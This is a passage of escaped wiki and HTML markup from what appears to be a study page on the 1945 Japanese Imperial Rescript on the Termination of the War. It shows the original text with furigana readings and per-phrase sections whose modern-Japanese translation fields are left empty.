ruby&gt;&lt;ruby&gt;&lt;rb&gt;憾&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;かん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;意&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;い&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;表&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ひょう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;せざるを&lt;ruby&gt;&lt;rb&gt;得&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;え&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;ず。&lt;ruby&gt;&lt;rb&gt;帝&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;てい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;国&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;臣&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;民&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;みん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;にして、&lt;ruby&gt;&lt;rb&gt;戦&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;陣&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;じん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;死&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;し&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;し、&lt;ruby&gt;&lt;rb&gt;職&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しょく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;域&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;いき&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;殉&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;じゅん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;じ、&lt;ruby&gt;&lt;rb&gt;非&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ひ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;命&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;めい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;斃&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;たお&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;れたる&lt;ruby&gt;&lt;rb&gt;者&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;もの&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;、&lt;ruby&gt;&lt;rb&gt;及&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;および&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&amp;nbsp;&lt;ruby&gt;&lt;rb&gt;其&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;そ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;遺&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;い&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;族&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ぞく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;想&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;おもい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;致&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;いた&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;せば、&lt;ruby&gt;&lt;rb&gt;五&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ご&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;内&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ない&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;為&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ため&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;裂&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;さ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;く、&lt;ruby&gt;&lt;rb&gt;且&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;かつ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;戦&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;傷&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しょう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;負&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;お&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;い、&lt;ruby&gt;&lt;rb&gt;災&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;さい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;禍&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;か&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を
&lt;ruby&gt;&lt;rb&gt;蒙&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こうむ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;り、&lt;ruby&gt;&lt;rb&gt;家&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;か&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;業&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ぎょう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;失&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;うしな&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;いたる&lt;ruby&gt;&lt;rb&gt;者&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;もの&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;厚&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;生&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;至&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;いた&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;りては&lt;ruby&gt;&lt;rb&gt;朕&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ちん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;深&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ふか&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;く&lt;ruby&gt;&lt;rb&gt;軫&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;念&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ねん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;する&lt;ruby&gt;&lt;rb&gt;所&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ところ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;なり。&lt;ruby&gt;&lt;rb&gt;惟&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;おも&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;うに、&lt;ruby&gt;&lt;rb&gt;今&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;後&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ご&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;帝&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;てい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;国&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;受&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;う&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;くべき&lt;ruby&gt;&lt;rb&gt;苦&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;く&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;難&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;なん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;は、&lt;ruby&gt;&lt;rb&gt;固&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;もと&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;より&lt;ruby&gt;&lt;rb&gt;尋&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;じん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;常&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;じょう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;にあらず。&lt;ruby&gt;&lt;rb&gt;爾&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;なんじ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;臣&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;民&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;みん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;衷&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ちゅう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;情&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;じょう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;も、&lt;ruby&gt;&lt;rb&gt;朕&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ちん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;善&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;よ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;く&lt;ruby&gt;&lt;rb&gt;之&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;これ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;知&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;し&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;る。&lt;ruby&gt;&lt;rb&gt;然&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しか&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;れども&lt;ruby&gt;&lt;rb&gt;朕&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ちん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;は&lt;ruby&gt;&lt;rb&gt;時&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;じ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;運&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;うん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;趨&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;おもむ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;く&lt;ruby&gt;&lt;rb&gt;所&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ところ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;、
&lt;ruby&gt;&lt;rb&gt;堪&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;た&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;え&lt;ruby&gt;&lt;rb&gt;難&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;がた&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;きを&lt;ruby&gt;&lt;rb&gt;堪&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;た&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;え、&lt;ruby&gt;&lt;rb&gt;忍&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しの&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;び&lt;ruby&gt;&lt;rb&gt;難&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;がた&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;きを&lt;ruby&gt;&lt;rb&gt;忍&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しの&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;び、&lt;ruby&gt;&lt;rb&gt;以&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;もっ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;て&lt;ruby&gt;&lt;rb&gt;万&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ばん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;世&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;為&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ため&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;太&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;たい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;平&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;へい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;開&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ひら&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;かんと&lt;ruby&gt;&lt;rb&gt;欲&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ほっ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;す。&lt;/p&gt;
&lt;/div&gt;
# [[#朕&amp;#xE0102;ハ帝國ト共ニ]]
# [[#終&amp;#xE0101;始東亞ノ解放ニ協力セル諸&amp;#xE0100;盟邦&amp;#xE0102;ニ對シ]]
# [[#遺&amp;#xE0101;憾ノ意ヲ表セサルヲ得ス]]
# [[#帝國臣民ニシテ]]
# [[#戰陣ニ死シ]]
# [[#職域ニ殉シ]]
# [[#非命ニ斃レタル者&amp;#xE0101;]]
# [[#及&amp;#xE0101;其ノ遺&amp;#xE0101;族ニ想ヲ致セハ]]
# [[#五內爲ニ裂ク]]
# [[#且戰傷ヲ負&amp;#xE0102;ヒ]]
# [[#災禍&amp;#xE0100;ヲ蒙リ]]
# [[#家業ヲ失ヒタル者&amp;#xE0101;ノ]]
# [[#厚生ニ至リテハ]]
# [[#朕&amp;#xE0102;ノ深ク軫念スル所&amp;#xE0101;ナリ]]
# [[#惟フニ今後帝國ノ受クヘキ苦難&amp;#xE0100;ハ]]
# [[#固ヨリ尋&amp;#xE0101;常ニアラス]]
# [[#爾臣民ノ衷情&amp;#xE0101;モ朕&amp;#xE0102;善ク之ヲ知ル]]
# [[#然レトモ朕&amp;#xE0102;ハ時運&amp;#xE0101;ノ趨ク所&amp;#xE0101;]]
# [[#堪ヘ難&amp;#xE0100;キヲ堪ヘ忍&amp;#xE0101;ヒ難&amp;#xE0100;キヲ忍&amp;#xE0101;ヒ]]
# [[#以テ萬世ノ爲ニ太平&amp;#xE0101;ヲ開カムト欲ス]]

=== 朕&amp;#xE0102;ハ帝國ト共ニ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 終&amp;#xE0101;始東亞ノ解放ニ協力セル諸&amp;#xE0100;盟邦&amp;#xE0102;ニ對シ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 遺&amp;#xE0101;憾ノ意ヲ表セサルヲ得ス ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 帝國臣民ニシテ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 戰陣ニ死シ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 職域ニ殉シ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 非命ニ斃レタル者&amp;#xE0101; ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 及&amp;#xE0101;其ノ遺&amp;#xE0101;族ニ想ヲ致セハ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 五內爲ニ裂ク ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 且戰傷ヲ負&amp;#xE0102;ヒ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 災禍&amp;#xE0100;ヲ蒙リ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 家業ヲ失ヒタル者&amp;#xE0101;ノ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 厚生ニ至リテハ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 朕&amp;#xE0102;ノ深ク軫念スル所&amp;#xE0101;ナリ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 惟フニ今後帝國ノ受クヘキ苦難&amp;#xE0100;ハ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 固ヨリ尋&amp;#xE0101;常ニアラス ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 爾臣民ノ衷情&amp;#xE0101;モ朕&amp;#xE0102;善ク之ヲ知ル ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 然レトモ朕&amp;#xE0102;ハ時運&amp;#xE0101;ノ趨ク所&amp;#xE0101; ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 堪ヘ難&amp;#xE0100;キヲ堪ヘ忍&amp;#xE0101;ヒ難&amp;#xE0100;キヲ忍&amp;#xE0101;ヒ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 以テ萬世ノ爲ニ太平&amp;#xE0101;ヲ開カムト欲ス ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

&lt;!--
&lt;ruby&gt;&lt;rb&gt;●漢字●&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;●ルビ●&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;
--&gt;
&lt;span style=&quot;color:#500;&quot;&gt;
&lt;/span&gt;
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;p style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;

== 第五段落 ==
&lt;!--◆第五段落--&gt;&lt;div style=&quot;background-color:#ffd;&quot;&gt;
&lt;p style=&quot;line-height:1.3; margin-bottom: 15px; text-align:left; font-family:游明朝;font-size:13pt;&quot;&gt;（原文）&lt;span style=&quot;color:#500;&quot;&gt;朕&amp;#xE0102;&lt;/span&gt;ハ玆ニ國體ヲ護持シ得テ忠良ナル爾臣民ノ赤&lt;span style=&quot;color:#500;&quot;&gt;誠&amp;#xE0101;&lt;/span&gt;ニ信倚シ常ニ爾臣民ト共ニ在リ若シ夫レ&lt;span style=&quot;color:#500;&quot;&gt;情&amp;#xE0101;&lt;/span&gt;ノ激スル&lt;span style=&quot;color:#500;&quot;&gt;所&amp;#xE0101;&lt;/span&gt;濫ニ事端ヲ滋クシ或ハ同&lt;span style=&quot;color:#500;&quot;&gt;胞&amp;#xE0101;&lt;/span&gt;排擠互ニ時局ヲ亂リ爲ニ大&lt;span style=&quot;color:#500;&quot;&gt;道&amp;#xE0101;&lt;/span&gt;ヲ&lt;span style=&quot;color:#500;&quot;&gt;誤&amp;#xE0101;&lt;/span&gt;リ信義ヲ世界ニ失フカ如キハ&lt;span style=&quot;color:#500;&quot;&gt;朕&amp;#xE0102;&lt;/span&gt;最モ之ヲ戒ム宜シク擧國一家子孫相傳ヘ確ク&lt;span style=&quot;color:#500;&quot;&gt;神&amp;#xE0100;&lt;/span&gt;州ノ不滅ヲ信シ任重クシテ&lt;span style=&quot;color:#500;&quot;&gt;道&amp;#xE0101;&lt;/span&gt;&lt;span style=&quot;color:#500;&quot;&gt;遠&amp;#xE0101;&lt;/span&gt;キヲ念ヒ總力ヲ將來ノ&lt;span style=&quot;color:#500;&quot;&gt;建&amp;#xE0101;&lt;/span&gt;設ニ傾ケ&lt;span style=&quot;color:#500;&quot;&gt;道&amp;#xE0101;&lt;/span&gt;義ヲ篤クシ志操ヲ鞏クシ誓テ國體ノ&lt;span 